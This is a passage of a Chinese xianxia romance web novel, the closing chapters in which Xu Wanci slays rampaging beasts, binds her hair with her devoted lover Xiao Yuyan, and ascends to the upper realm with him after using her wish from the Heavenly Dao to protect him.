在许晚辞面前的仙尊,仿若只是一个寻常修士,根本看不出曾经分毫的强大与淡漠,对她的态度,甚至还带着一丝下位者一般,小心翼翼的珍视。 更让他们震惊的,是即使仙尊如此在意许晚辞,却依旧没有制止她的作为。 即使所有人都清楚凶兽的强大。 仙尊对于许晚辞,不只是保护与纵容,更是平等的尊重。 他希望她能够强大,能够护住自身,甚至不惜耗费更多的心神,甘愿成为她向上的阶梯。 想到这里,他们不由得在心中思量: 他们喜欢一个人,会做到仙尊这般么? 只是一瞬间,他们心中就已经有了回答。 他们若是喜欢一个人,最多只会将她\他纳入羽翼之下,怎么可能会为她\他如此殚精竭虑? 就在众人心中暗暗感叹之时,许晚辞已经与命蝎□□上了手。 命蝎兽全身坚固非常,就算是渡劫修士,也很难在它的蝎身上留下什么伤痕,更不用说伤到它了。 这是周围的渡劫尊者,最不想遇到的凶兽之一。 许晚辞闪身躲开蝎尾的攻击,手中的九霄剑从蝎尾上划过,霎时响起了一阵刺耳的摩擦声。 可能撕裂空间的剑意,却只在蝎尾留下了一道浅浅的划痕。 她看着命蝎兽周身浮现的狂暴灵气,眉头微不可查地皱了起来。 她对灵气从来敏感,能够凭借灵气强弱,察觉到灵兽的命?? 脉所在,然后将其击杀。 可是在这个命蝎兽上,她却根本察觉不到它身上的灵气有什么不同。 每一处的灵气,都暴动却又均匀。 就在她一边与命蝎兽缠斗一边思考之时,命蝎兽又吸收了些许周围暴动的灵气,变得愈发强大。 它攻击的动作,也越快,越危险。 许晚辞脚尖点着蝎尾,险险避开了蝎钳的攻击。 感受着脚下蝎尾处灵气的运转,她像是发现了什么,眼睛蓦的亮了几分: 虽然命蝎兽看似没有命脉,但身体内灵气的运转,却是固定,只能从尾到头,再从头转向尾。 只要她找准时机,找到命蝎兽灵气转换时的那一个瞬间…… 许晚辞看着再次朝她袭来的蝎尾,稍稍侧身,并未完全避开,而是在与蝎尾擦肩时,反手一剑。 朝她扭转的蝎尾上的毒针在距离她身前三寸之时,倏地停了下来。 庞大的凶兽,轰然倒塌,失去了生机。 几位尊者看到这一幕,根本无法掩饰眼中的震惊: 即使是他们,面对这样强大凶狠的命蝎兽,怕是也要吃上一番苦头,才能控制住它。 至于击杀,更是难上加难。 可许晚辞居然只是几十招内,就能发现命蝎兽弱点,将其斩于剑下。 他们眼中不由得带上了几分慎重: 看来现在修仙界中,他们得罪不起的人,又多了一个。 这一次,不是因为仙尊,只是因为许晚辞本身。 修仙界中,所有人都会敬畏强大。 若只是依附他人的强大,只会让他们畏惧,却不会生出敬意。 若是曾经,他们心中多少会与许晚辞生出一些竞争之心。 万一他们得到什么机缘,说不定能够超越她,成为飞升的那个修士。 可是如今…… 烈焰尊者叹息着摇了摇头: 他还是在这里,多猎杀几头凶兽吧。 萧玉衍在许晚辞与蝎尾擦身而过时,周身的灵气是前所未有的紧绷,碎虚至尊的灵气汹涌而出,却又被他强行压制。 直到看到她杀了命蝎兽后,他才终于松开了紧握的双手,僵硬的身体也逐渐放松。 看着她胜利之后张扬而自信的神情,他心跳声终于缓缓平复。 许晚辞步伐轻快的来到了萧玉衍身边。 虽然她觉得以她现在的灵气,还能再击杀几头凶兽,但想起和他的约定,她还是老老实实地站在了他的面前。 她习惯性地牵起他的左手,感受着手中冰冷的触感,她的动作蓦得一顿。 许晚辞抿着唇,拉着他一步步朝着暴动之地的外围走去。 她若无其事地开口: “其实一天猎杀一头凶兽,确实有些频繁了。” “我若是一日猎杀凶兽,一日巩固修为,再有一日与某人一同携手赏景……” “松弛得当,想来才更有助于修炼。” 说到这里,她抬起头,笑盈盈道: “就是不知道某人怎么想?” 总有人要妥协,这个人,不应该一直是他。 她不会放弃提升修为,却可以试着在其中找到一个平衡。 三日,是她思考过后,觉得最合适的时间。 更何况,她一直以来的脚步走的太急,也是时候放缓一些。 这样,才不会错过沿途的风景。 萧玉衍握着她的手倏地用力,他眼中的情绪翻涌起伏,最终化作专注的爱意: “某人觉得,很好。” 和她在一起的每一瞬,他都能察觉到她对他的在意。 爱意在每一刻都不断加深,直至形成了一片无人能看到尽头的汪洋。 听到萧玉衍的回答,许晚辞也用力回握他的手: “阿衍,你跟我来。” 她在来极西之地前,找到了相关的书籍,看到了这里日落之时会发生的美景。 夕阳之下,许晚辞拉着萧玉衍,来到了极西之地尽头的平原。 一轮红日在他们的面前缓缓下落,将不远处的长河,映成了一片火红。 河面红光粼粼,耀眼夺目。 许晚辞看着长河落日的美景,眼中虽然有欣赏,但更多的是疑惑: 书上说,极西之地落日之时,平原上,会开满落日兰。 落日兰一日一枯,盛放的时间,只有日落时的半个时辰。 艳红的落日兰与残阳相互映衬,是修仙界最美的胜景之一。 许晚辞缓缓眨了眨双眼: 是因为暴动的灵气么? 即使这里距离暴乱之地甚远,大抵也受到了影响。 她看着前方的景象,一丝灵气探入地面。 感受着沉睡的落日兰,她像是下定决心一般,唇角扬起一个浅浅的弧度。 下一瞬,渡劫中期的灵气席卷了整个平原。 土地之中,落日兰的种子发芽生长,最终在灵气的润泽之下,开出了火红的兰花。 萧玉衍的眼底映衬着延绵的红意,他看向许晚辞的目光是让人心惊的温柔与偏执。 他声音沙哑: “晚晚不是觉得这样的作为,会浪费灵气么?” 许晚辞咳嗽了一声,不再看他: “其实,偶尔浪费一下灵气,也还不错。” 感受着他指尖涌动的灵气,她伸出手指,撞了一下他的指尖: “阿衍。” “不用留住它们。” “我们只需要欣赏这里的风景就好了。” 许晚辞抬眸看向他,认真的像是在许诺: “我们以后,会一同看更多的风景。” “所以不必把这一刻,当成执念。” “我们还会有很长很长的未来。” 第94章 与君结发,白首不离 在凶兽暴动的这段时间, 许晚辞为了历练自身,专挑强大的凶兽下手。 不过半月,让许多渡劫后期尊者都头疼不已,勉强应对的凶兽, 就都尽数被她斩杀。 若不是之前与萧玉衍定下三日只杀一头凶兽的约定, 怕是四大极地之中的顶阶凶兽, 已经被她扫荡一空。 在四大极地中, 有不少修士都见到了许晚辞那一剑破九霄的场景。 在她的剑意之下, 众生俯首, 万物膜拜, 凶兽湮灭。 凌霄尊者这段时间斩杀凶兽的作为,得到了无数修士的仰慕与敬重,尤其是被许晚辞救下的姜言, 更是成为了凌霄尊者坚定的拥趸者。 与此同时, 凌霄尊者的名号, 也已经传遍了修仙界,成为了当世顶尖的尊者之一。 只是,在凌霄尊者以剑制敌之时, 身后不远处,总会有一个月白色的身影。 他静然而立,仿若与周围的万物融为了一体。 若不是危机之时那一瞬的灵气外显, 怕是根本没有人能察觉他的存在。 俯瞰众生的清衍仙尊, 却甘愿收敛气息, 落于许晚辞身后。 看着她与凶兽缠斗,看着她一剑制敌, 看着她凌于众生之上,甚至众生中, 包括他。 原来清衍仙尊对凌霄尊者的爱,从来都不是无微不至的保护与禁锢,从来不是我愿为你遮挡世上的一切风雨。 而是我愿与你携手,看你、助你一步步变强,然后同经风雨。 纵然这样的过程,会让他胆战心惊,时刻忧心,他却也甘之如饴。 这样的情爱,怕是整个修仙界都无人能够做到。 也难怪,凌霄尊者会甘愿等仙尊百年,生死不悔。 一时间,凌霄尊者与清衍仙尊之间的爱情故事,也流传开来。 许晚辞根本不知晓其他人的想法,也不知晓她与萧玉衍的爱情故事,已经传遍了整个修仙界。 她正聚精会神地看着极南之海上隐隐显现的凶兽。 随着这段时间的历练,如今,她的修为已经晋升到了渡劫后期。 只要继续坚持,凭借她强大的神识与身体中蕴含的仙气,大抵很快就能晋升碎虚。 碎虚之后,在体内仙气的冲击下,她便能够如同原著中楚青川一般,成功飞升。 想到这里,她回眸看向身后的那人: 更重要的是,他也能同她一起,哪怕她飞升到了修仙界的上层世界。 萧玉衍的修为,本就已经超过了碎虚修士,只是当时修仙界天道衰减,上下世界的屏障完全闭合,所以才未能飞升。 可也正因如此,他的修为早与飞升的修士相当,足以去到修仙界的任何地方。 想到这里,她弯了弯眼睛,眼中满是笑意。 她感受着身前愈发嚣张的凶兽之气,对着萧玉衍声音轻快道: “阿衍,据说极南之海的日出很美。” “等斩杀完这头凶兽,我们就一同在这里等日出吧。” 磨炼修为固然重要,可与他同行的每一处风景,也同样重要。 “好。” 听着身后的应答,许晚辞眼中笑意加深,可是她的动作却没丝毫留手,手中九霄剑一挥,不远处朝她奔袭而来的波浪,被剑气震碎,化作万千水滴落入了海中。 下一瞬,一头漆黑的蛟龙破海而出。 蛟龙周身带着暴乱的灵气,将周围的海水凝结成了威力极强的利刃,随着一声龙鸣,这些利刃密密麻麻的朝着许晚辞所在的方向袭来。 许晚辞一边以灵气为盾,挡住了利刃的袭击,同时一挥九霄剑,剑气透过利刃的缝隙,朝着蛟龙已经冒头的龙角而去。 龙角的疼痛让蛟龙愈发狂暴,周围的灵气也开始疯狂搅动,一时间,海上波涛汹涌,巨浪一个接一个朝着海水中央的人袭来。 许晚辞一边抵挡,一边用神识观察着蛟龙身上的弱点。 经过这段时间的历练,她发现绝大多数凶兽灵气运转之时,都会有一个节点,这个节点,就是它们最大的弱点,这一头蛟龙,也不例外。 她看着蛟龙龙首之下七寸的位置,一剑刺了过去。 一往无前的剑意伴着渡劫后期的强横灵气,朝着蛟龙的弱点而去。 这本应该是修仙界中无人能挡的一剑,可这一剑,却并没有完全杀了蛟龙,只是让它重伤。 濒死的威胁与身上的痛感让蛟龙疯狂翻滚,海水带着狂暴的灵气,仿佛能撕裂空间,一浪一浪地朝着许晚辞袭来。 她足尖点在海水之上,灵气密不透风的护住周身,眼中是少见的肃穆。 这是她第一次,一击失手。 不知道是不是她的错觉,她这段时日中斩杀的凶兽,似乎比之前,强大了不少。 所幸蛟龙已经完全失去了理智,几个回合后,许晚辞终于再次击中它的弱点。 这一次,它再也没有了生机。 许晚辞看着坠入海底的蛟龙,刚收起手中灵剑,便察觉到了海水中朝她袭来,似乎已经快过了时间的一击。 这是蛟龙临死前隐蔽至极的致命一击。 许晚辞周身灵气瞬间凝聚,可比她反应更快的,是一道碎虚灵气。 这无声无息却又强大的足以让海中所有灵兽胆寒的灵气,温柔地将她包裹,小心地护住了她,没有让她感受到任何压迫。 以她为中心,四处皆是狂乱的海水,只有她所处之地,温和而平静。 微风吹来,她的长发随风而动,两根发丝被吹到了灵气凝成的护身结界之外,瞬间被涌起的浪花割断。 就在这一瞬,碎虚灵气蓦然席卷了整片海域,一时间,风止浪息。 暴动的海洋瞬间变得死寂,莫说风浪,连一丝涟漪都不曾再有。 许晚辞感受着周围涌动的碎虚灵气,蓦然转身朝着萧玉衍看去。 看着他固执地站在原地,眼中那满是凝重与愧疚的模样,她茫然地眨了眨眼睛: 刚才,发生什么了么? 她视线下移,忽然看到了他手中紧握的两根发丝。 像是握着什么珍宝一般,他用灵气小心地发丝护住,不让海风惊扰到它们。 许晚辞指尖一动: 那是……她方才被海浪割断的头发? 她后知后觉的意识到了萧玉衍眼中的愧疚是为何而来: 可那明明只是她的两根头发而已…… 许晚辞心中一个角落,蓦然软了下来。 这个人,怎么能这样不讲道理一般的让她一直沦陷? 到如今,她已经根本没有了挣扎的力气。 许晚辞无奈地走到萧玉衍身前,却并没有出声安慰。 和他在一起这么久,她也有了一点哄他的心得。 她一只手从他的肩后向前挑起了一缕他的长发,手中灵气一闪,也割断了他的两根发丝。 她的灵气从始至终都没有遇到任何阻拦,哪怕这道灵气最终的落点,距离他的命脉那样近。 近到只要她稍一用力,就能在他的脖颈留下一道伤痕。 她知道他对她从来不设防,却没有想到会不设防到这种地步。 许晚辞下意识握紧手中的发丝,也与他一般,小心地用灵气护住。 察觉到自己的动作后,她眼中闪过一丝无奈。 真是近朱者赤啊。 她低下头,把一根萧玉衍的发丝放到了他的掌心,然后从他手中,将一根自己的发丝抽了出来。 然后,她将手中他们彼此的长发,用灵气编成简单的静玉莲莲纹,然后隐入了身前人的衣领。 黑色的纹路成为月白之上,动人的异色。 看着许晚辞的动作,萧玉衍手掌紧绷到了极点,却依旧小心翼翼地护着手中那两根两人的发丝。 他连呼吸都停滞,只能任由她动作。 许晚辞又如法炮制,将两人发丝编织而成的莲纹,隐入了自己衣领。 她湖蓝色的衣领之上,也有了与身前人一般的黑色莲纹。 做完这一切后,她抬起头,轻笑着问道: “阿衍,你知道将两个人发丝编到一起的含义么?” 果然如她想的一般,萧玉衍已经完全忘却了方才海上发生的事情。 看着他眸中翻涌的沉迷与深爱,她踮起脚尖,吻上了他的唇。 也隐下了那个他们两人都知道的答案: 与君结发,白首不离。 * 极地中的凶兽暴动,每三十年一次,一次会持续三个月的时间。 三个月之后,便会消散,极地也会回复曾经的安定。 所有人以为这一次,也是一样。 有了许晚辞的帮助,这一次极地凶兽暴动造成的伤亡,也比三十年前少了不少。 三月之期已到,就在所有人都等待着暴乱散去之时,暴动却依旧未曾止息。 只是凶兽身上暴乱的灵气变少了些许。 但所有人都知道,只要暴动不止,凶兽身上的灵气就会越来越多。 直到最后,无法制止。 这是修仙界将乱的预兆。 百年前,有过一次。 修仙界的漏洞,已经被百年前祭天的仙尊补上。 这一次,需要的是有修士飞升。 只有有人飞升,让修仙界上下两界重回循环之态,暴动才能止息,修仙界也才能真正平衡下来,再也不用担心其他危机。 如今,各大宗门世家的渡劫尊者,纷纷来到四大极地中镇压动乱。 他们能做的,只有压住暴动的灵气,让凶兽们都先沉寂下来。 至于能镇压多久,需要镇压多久,就只能看那个飞升的人,什么时候出现。 楚青川已经修为尽废,更是被白家控制,根本不可能有飞升的机会。 所以,所有人的期待,都放在了许晚辞身上。 许晚辞的修为,已经是渡劫圆满,只要突破瓶颈,就能利用仙气,成功飞升。 只是,所有人都知道这一层瓶颈有多难突破。 千年来,几百位尊者,都被困在了这一层瓶颈之上。 就在有人心怀沮丧之时,沉寂了千年的升仙台,终于显现。 第95章 许晚辞,得天所顾,气运强盛,定能飞升 升仙台已经沉寂了千年。 多少修士终其一生, 都没有见到它的存在。 如今,升仙台起,说明修仙界,终于有修士有了飞升的可能。 千年啊! 修仙界上下两界的灵气运转, 停滞了千年。 这千年中, 修仙界灵气逐渐枯竭, 渡劫修为, 已经是修士能达到的极限, 所有人都根本不可能有飞升的机会。 可如今, 升仙台出现了! 只要有一个修士能成功飞升, 打通上下两界,那修仙界就将再次圆满,而他们, 也便有了飞升的可能。 低阶修士还好, 飞升对于他们而言, 遥不可及。 可是所有的渡劫尊者,却都抑制不住自己心中的情绪,神情激动, 甚至有几位尊者,已经红了眼眶。 他们,终于等到了。 在极西之地镇守的顾云绮, 看着云端之中仿佛能直达天际的升仙台, 眼中满是张扬欣喜的笑意。 她一边布下限制灵气暴动的阵法, 一边对着不远处的二长老神识传音,声音是抑制不住的激动: “我就知道, 晚辞一定可以的!” 即使二长老性格向来内敛,目光也不由地带上了几分轻颤: “是啊, 她一定可以的。” 困了修仙界千年的死局,终于要解开了。 许晚辞,将会成为千年来修仙界,唯一飞升的修士。 极东之地,江泽定定地看着天空中的升仙台,眼中的神情,是祝贺,也是无奈。 不知从何时起,她就成为了他只能追赶,无法触及的人。 过一段时间后,或许他连见她的资格,都不会再有。 许久之后,他无声地转过身,继续镇压着极地中暴动的灵气。 极北之地,季妄只是看了升仙台一眼,就利落地转身,将极云刀挥了出去,灼化了周围的坚冰。 这里是距离魔界最近的地方,他不仅要压制这里暴乱的灵气凶兽,也要盯着魔界的动静。 至于其他: 只要她能如愿,就够了。 他一身红衣,如同一道不灭的火焰,燃烧在冰天雪地中。 他皱眉看着魔界所在的方向: 不知是不是因为魔尊在修仙界中伤势太重,魔界最近根本没有什么动静。 和季妄猜测的没错。 言朔从修仙界回到魔界之后,身上的伤势已经伤及了魔魂。 重伤之下,众多魔修因为他的作为开始动荡,魔将也有了异心,整个魔界都蠢蠢欲动,想要将重伤的魔尊拉下尊位。 言朔拖着重伤的身体,雷厉风行的屠遍了半个魔界,才止住了各种声音。 再之后,他便开启了再一次十数年的闭关。 这是那一日他孤注一掷用半个魔界的至宝威胁许晚辞后的代价。 他必须承受。 抛开魔界,修仙界中虽然人心各异,但所有人期待许晚辞早日飞升的想法,大都相似。 可是,即使升仙台已经出现,却依旧没有开启的迹象。 一日、两日……半月。 已经过去了二十多日,升仙台周围却没有丝毫动静。 随着时间的推移,众位尊者对极地的镇压,也越来越艰难。 升仙台旁,仙气纵横,仙门紧闭。 许晚辞定定地看着仙门之上的那一株迎仙花。 只有它承认飞升者的身份,才会开花,也只有迎仙花开,迎仙台上的仙门才会打开。 如今,她修为已经晋升了碎虚,体内更是有着足以飞升的仙气。 可不知为何,迎仙花却一直都未曾开放。 原著中,楚青川飞升的时间比如今要晚上几十年。 可是他在升仙台出现之后,根本未曾多加停留,不过三日,就等得花开,成功踏入了仙门。 可如今,距离仙门出现,已经快到一个月了。 许晚辞缓缓地呼出一口气: 是因为这一次升仙台出现的时间太早,还是因为……飞升的人,是她? 想到这里,她手指微不可察的一动,心中也涌上了一丝罕有的烦躁。 只是一瞬,她就压下了所有的想法。 她不会轻易怀疑自己。 既然她能召唤出升仙台,就说明她的修为和身份,已经得到了它的承认。 如今的她,承载着整个修仙界的期望,她无法后退,也绝不能后退。 她必须一直向前。 她必须成功飞升。 几息后,她蓦然闭上了双眼,排除了心中所有的杂念,继续凝神修炼。 能够无视结界进入升仙台的人,除了许晚辞外,还有萧玉衍。 萧玉衍看着在仙门前盘膝而坐,固执的修炼不息的身影,抬起的手无声的落了下去。 只是在看向不远处的那一株迎仙花时,他眸中有暗色一闪而过。 下一瞬,他的身影消失在了原地,没有让任何人察觉。 天际之中,残存的天道之力看着出现在它身边的煞神,无声的散开。 可是面对出自同源的灵气凝成的结界,它却根本离不开这个煞神的身边,只能留在原地。 天道之力本是生生不息,就算被萧玉衍炼化了一半,也能够成功修复。 可如今,修仙界漏洞太大,它根本无法复原,只能如同所有修士一般,等待天地间真正圆满的到来。 至于楚青川,早已被它放弃。 如今修仙界的仙气,只能支撑一个修士飞升。 这个人,只能是许晚辞。 天道之力发现无法离去后,再次聚在了原地。 天道之力本没有意识,可是在这百年中一步步衰减之时,为了维护修仙界运转,早日让气运之子飞升成功,有了一些简单的神志。 所以它才会有了吞噬复活后的萧玉衍的作为,也才会有了那日在七冶大漠中传到所有修士耳中的天道之音。 它感受着将它困在这里的碎虚灵气,天道之声威严中却带着一丝微不可查的敬畏: “你想要做什么?” 萧玉衍并没有看它,他只是安静而专注的看着升仙台上闭目调息的人。 他的声音,却是与目光完全不同的冰冷: “迎仙花,是你做的手脚?” 他已经探查过数次,迎仙花之中的仙气早已经足够其盛开,可是却至今都没有动静。 能在迎仙花上动手脚的人,只有天道。 天道之力听着他的声音,若是神志再多一些,怕是已经开始疯狂哭诉自己的被冤枉后的委屈。 可惜它并没有那样丰富的情感,只能一板一眼地回道: “如今天道式微,没有人比吾更希望有人飞升。” “无论那个人是谁。” 它也看了升仙台一眼,缓缓道: “如今万事俱备,只差一瞬间的机遇。” “只要继续等待,自然能够等到。” “仙尊,是你关心则乱了。” 萧玉衍闻言,指尖微不可查的一动: 他知晓天道根本没有制止她飞升的缘由。 可是,当他看着她为了叩开仙门,日夜不息修炼的场景,理智被情感完全压制。 他目光淡漠地扫过动荡不安的四大极地,看着镇守其中的渡劫修士,像是想到了什么,周围的结界非但没有消散,反倒更强盛了几分。 萧玉衍终于将目光,放在了凝聚成云的天道之力身上。 感受着他的目光,天道之力蓦然回忆起了被他压制吞噬的过去,云团缩了缩,才若无其事的问道: “仙尊,可还有事?” 萧玉衍的声音不疾不徐,却带着与天道之力同源甚至更胜一筹的压迫: “那日在七冶大漠中,是你传音给了众多修士。” 他周身的气息,冰冷中带上了一丝凌冽的杀意: “窃取气运?” 她走的每一步,都荆棘满布,哪里有过坦途,又哪里有它所言的气运? 天道之力再次感受到了被吞噬的威胁,生死之际,它的本能让它做出了回答: “是吾之错。” “吾这就纠错。” 四大极地中,有尊者感受着周围越来越暴乱的灵气,心中不自觉地涌上了一丝怀疑: 许晚辞……真的能够飞升么? 升仙台已经出现了这么久,可是却依旧没有丝毫动静。 这时,已经有人想到了那一日听到的天道之音。 若那个声音说的是真的,一个窃取他人气运的修士,真的能飞升么? 更是有些人,想起了之前已经被所有人都放弃的楚青川。 若今日将要飞升的人是他,那…… 就在这时,熟悉的天道之音再次显现: “吾受人蒙蔽,错认气运之子。” “今日纠错。” “许晚辞,得天所顾,气运强盛,乃是千年来最有可能飞升之人。” “尔等静候便可。” 听到这个响彻神魂的声音,有所怀疑的修士蓦然止住了心中所有的想法。 如今,唯一质疑许晚辞的天道之音,都承认了是它出错。 若是许晚辞都无法飞升,怕是整个修仙界,再也找不出第二个有飞升可能的人。 他们压下所有的心思,开始专注的镇压极地的暴乱。 如天道之音所言,他们等候便好。 萧玉衍听着天道之音,终于收回了结界。 离去之前,碎虚的灵气四散而布,代替所有渡劫修士,镇压了四大极地之中的动荡。 再次出现在升仙台时,萧玉衍以玄冰为盏,盛了一盏许晚辞最喜欢的灵果。 这一次,他并没有掩饰自己的气息。 许晚辞感受着周身清寒但却温柔的灵气,终于从入定中醒了过来。 她站起身,尽量让自己的表情看起来轻松自然,然后才转身朝着来人看去。 只是在对上萧玉衍关切的目光后,强撑出来的轻松一点点化作了无奈。 她叹了一口气道: “阿衍,飞升好像并不像我想的那样轻松。” 萧玉衍走上前去,把一块儿灵果送到她的唇边,认真道: “是啊,不然我又怎么会在碎虚修为停留了数百年。” 听着他的回答,许晚辞看了他一眼,略显无奈地吃下了唇边的灵果: 他是因为那时的修仙界根本无法让修士飞升。 又怎么能和她现在的天时地利相比? 不过纵然知晓这是他安慰她的方式,她身边的气息仍旧放松了些许。 萧玉衍收起手中的灵果,一只手拂过她身后的长发: “晚晚,不用着急。” 他知道她真正焦急的原因,是因为极地的那些暴乱,于是轻描淡写道: “如今极地之上的暴乱,足以平定十年。” “若是到那时,晚晚仍未曾飞升成功,再忧愁也不迟。” 第96章【正文完】 第96章 正文完 听到萧玉衍的话后, 许晚辞怔愣了一瞬。 早在数日前,她就观察过极地之中的暴动,纵然整个修仙界的渡劫尊者全都出动,怕也只能再镇压半月。 怎么可能会有十年的安定? 看着身前人淡然但却笃定的神情, 她终于反应了过来: 是他, 以自己的灵气, 强行镇压了四大极地中暴乱的灵气。 许晚辞怔怔地看着萧玉衍。 他好像从来没劝慰过她的作为: 她追求强大、日夜修炼时, 他并没有劝她放缓脚步, 而是帮她找到适合她修炼的方法, 还为她寻来了一个个提升修为的至宝; 她选择击杀凶兽时, 纵然他知晓危险,却依旧并未多言,只是一直陪在她的身边, 以便于在危机之时, 能护住她; 如今, 面对只有她飞升才能平息的凶兽暴动,他依旧只是如同之前每一次一般,无声的帮她解决了困境, 让她能够安心修炼。 纵然那样对他灵气的消耗甚大。 他对她,从来都好得不留余地。 许晚辞感受着喉咙处的酸涩,缓缓地握紧了双手。 她放轻呼吸, 心中忽然涌上了一个念头: 她与楚青川的差别, 真的是时间、身份或者说气运么? 还是……心? 她在意的太多, 反倒不如自私利己的楚青川那样纯粹。 许晚辞低下头,冷静到近乎冷漠的剖析着自己的内心。 她翻出了内心被自己强行忽略的所有。 包括修炼, 包括萧玉衍,也包括……谎言。 她抬起头, 认真地喊出了身前人的名字: “萧玉衍。” 看着他蓦然放柔的神情和从始至终都专注的目光,许晚辞逼自己不要移开视线,轻声道: “要是我在你不知道的时候,骗了你,利用你的身份作威作福,你会怎么做?” 时空的穿梭,让她的谎言全都变成了真实,却无法改变她一开始她的初衷。 她是为了让自己能活下去。 所以,才会有了这个谎言。 萧玉衍看着她仿佛逼迫自己一般,固执地等待他回答的模样,并没有回答她,也并没想知晓她到底欺骗了他什么。 他只想知晓一个问题: “晚晚,你爱我吗?” 许晚辞根本不曾犹豫:“爱。” 这个问题,在‘梦境’中时,就已经有了答案。 听到她的回答,萧玉衍眼中盛满了让万物失色的真切笑意。 他根本不在意她口中所言的那些欺骗,对于他而言,只要她爱他,只要还能看到她,触碰到她,就已经是他毕生所求。 他伸出手,将她紧紧地揽入怀中,声音是不容置疑的认真: “我的一切,本就都是你的,何来利用?” “晚晚,只要你爱我,就算将我抽筋碎骨,也不算是利用。” 说到这里,他轻唔了一声,含笑道: “最多只能说明你我之间的相处方式,与寻常道侣有所不同而已。” 许晚辞听出了他声音中的认真与坚决,也听出了他声音中不加遮掩的偏执。 这是她从未设想过的答案,却轻易的抚平了她心中所有的不安。 她心中最后一块儿坚硬的角落,随着他的回答完全沦陷。 她对于他而言,是粉身碎骨都不愿意放手,只会欣然接受的存在。 他对她而言,是这个世间唯一无法掌控,却又甘之如饴的意外。 这一刻,她心中已经完全接受了萧玉衍的存在。 许晚辞眨了眨酸涩的双眼,也眨去了眼中的红意,这次声音中的信任与亲近,更胜以往: “那若是有一天,我们将要分离。” 她抬起头,双手撑在萧玉衍的身上,定定地看着他: “萧玉衍。” “你会怎么做?” 她理顺了自己心中所有的情感,也清楚的意识到了自己再无余地的沦陷。 所以,她想再一次确认。 在听到许晚辞问题的那一刻,萧玉衍周身的气息罕见的外泄了一瞬,极寒的灵气似乎要将周围的一切全部冻结一般,就连升仙台,都收到了些许的影响。 他强行控制住了周围所有的灵气,却隐不去眼中深沉的暗色。 有些事情,哪怕只是想象,也已经超越了他能接受的极限。 他的灵气,在他的控制之下,牢牢地将身前人禁锢。 萧玉衍捧起身前人的脸,声音沙哑: “晚晚,我身上的灵气,与天道同源,生生不息,不会消亡。” 他冷静而温柔的,将自己唯一的弱点,告诉了身前人: “要想杀了我,只有用这世间汇聚的天道之力,摧毁我的灵源。” “这样,我才会迎来真正的消亡,再无复生之机。” 他没有回答她的问题,却也给了她答案。 他可以给她离开的可能,但前提是,他神魂俱散,再无生机。 他心中本就有汹涌无边的欲望,只是许晚辞对她的爱,将他?? 所有的欲望全都抚平。 心中的野兽乖巧地为自己套上了缰绳,前提是,那个人还在。 萧玉衍本以为会看到身前人不适甚至退却的神情,却不想,只看到了一片清澈欣然的笑意。 许晚辞笑得眉眼弯弯,仿佛愿意接受他心中所有阴暗的欲望。 她曾经觉得他对她的爱,太过温柔,温柔到近乎小心,温柔到让她心中隐隐有些患得患失。 可是现在,她终于再也没有了忧虑。 比起他的弱点,更让她心动的,是他对她,死也不愿放手。 若是别人,这样的作为,只会让她想要逃离。 只有他,她欣然接受。 因为,她也绝不会放手。 许晚辞踮起脚尖,吻了一下他的侧脸: “萧玉衍,我有一个秘密。” “若是你以后发现,那我便答应你一件事情。” “除了我们分开,其余的所有,我都会答应。” 这一句话,仿佛带走了她心中所有的犹豫与不安。 她话音刚落,升仙台上,一阵浓郁的仙气忽然挥散开来。 迎仙花随风而动,在出现的二十三日后,终于绽放。 随后,迎仙花的花瓣,带着浅白的仙气,环绕在了许晚辞身边,拥簇着她来到了一个陌生的空间。 这里只有一片漫长得仿佛看不到边际的虚无。 虚无的尽头,传来一个威严的声音: “许晚辞,你是千年来唯一飞升之人。” “吾可满足你一个心愿。” “只要你想,你可以成为上界之中,最强的存在,即使下界之人飞升,也没有人能够超越你。” “你将拥有无上的修为与地位。” 许晚辞听出了这个声音。 那个在七冶大漠中,试图让所有渡劫修士,杀了她的声音。 天道之音。 天道。 可是她也知晓,不管曾经发生过什么,此界天道最希望的,就是有人能成功飞升。 所以,它不会动她。 想到这里,她心中放松了些许,却依旧有所警惕。 她平静地试探: “您的话,真的可信么?” “毕竟曾经您,可是想杀我而后快。” 天道之力感受着身边蓦然加重的压迫,纵然神志不多,也感受到了危险。 它忍着对于萧玉衍隐隐的畏惧,庄重威严道: “吾以天道之身应你,绝无虚言。” 许晚辞如今的修为,足够沟通天地。 她能感受到这个声音说完后,天地规则的认同。 想起萧玉衍说过的话,她指尖微不可查的动了动。 她本以为,天道之力难以捕捉,更难操纵。 可是世间之事,只怕万一。 她抬起头,看向周围的虚无,一字一句道: “我想让您许诺。” “许诺这世间所有的天道之力,无论操纵者是谁,都不能伤害萧玉衍分毫。” 虚无之中的天道之力根本没有想到她的要求居然会是为了其他人。 它无暇顾及周围蓦然卸去的灵气,声音带上了一丝诧异: “你确定么?” “确定放弃这一个能让你强大到超越之后所有飞升者的机会?” “你的心愿,不就是变强么?” 许晚辞看着自己的双手,声音坚定: “我若是想要什么,会自己拼尽全力取得。” “不需要其他的手段。” 若无这种自信,她此刻,根本不可能站在这里。 天道之力依旧不死心: “依照萧玉衍的修为,早已超脱了寻常修士,也远远强于无数飞升者。” “纵然有人能掌控天道之力,只要他不愿,也根本没有人能伤到他。” “你确定要为了这本就不可能的事情,放弃唾手可得的强大?” “若你不是千年来唯一的飞升者,救了修仙界,你根本不会有这个机会。” 许晚辞感受着周围空间的松动,转身离去: “就算只是一丝的威胁,也不应该有。” 飞升台前,萧玉衍听着她在虚无之中的声音,心中无数情绪翻涌升腾,最终化作了让他近乎无法承受的酸软。 她的所求,是为他。 他怔怔地站在原地,看着再次显现在升仙台上的身影。 一道磅礴的仙气,以升仙台为中心,回荡开来。 所有修士,都感受到了这股仙气。 他们抬起头,看到升仙台周围的薄雾终于散去。 那一扇仙门,开了。 仙门之后,是一道直达上界的白玉仙梯。 许晚辞,就站在仙梯的起点。 她并没有上前,而是转过身,对着身后的人伸出了手: “阿衍,我们该出发了。” 萧玉衍一步步的走到她的身前,将手搭在了她的掌心,紧紧握住。 白玉仙梯上,两人携手同行。 月白色与湖蓝色的身影交织在一起,映入了所有修士眼中。 看着这一幕,所有人都恭敬俯身,声音响彻了整个修仙界: “恭送凌霄神尊。” 至此,修仙界终得圆满。 而凌霄神尊与清衍仙尊的故事,也随着这一幕,记在了所有人心中。 成为了修仙界流传千年的不朽传奇。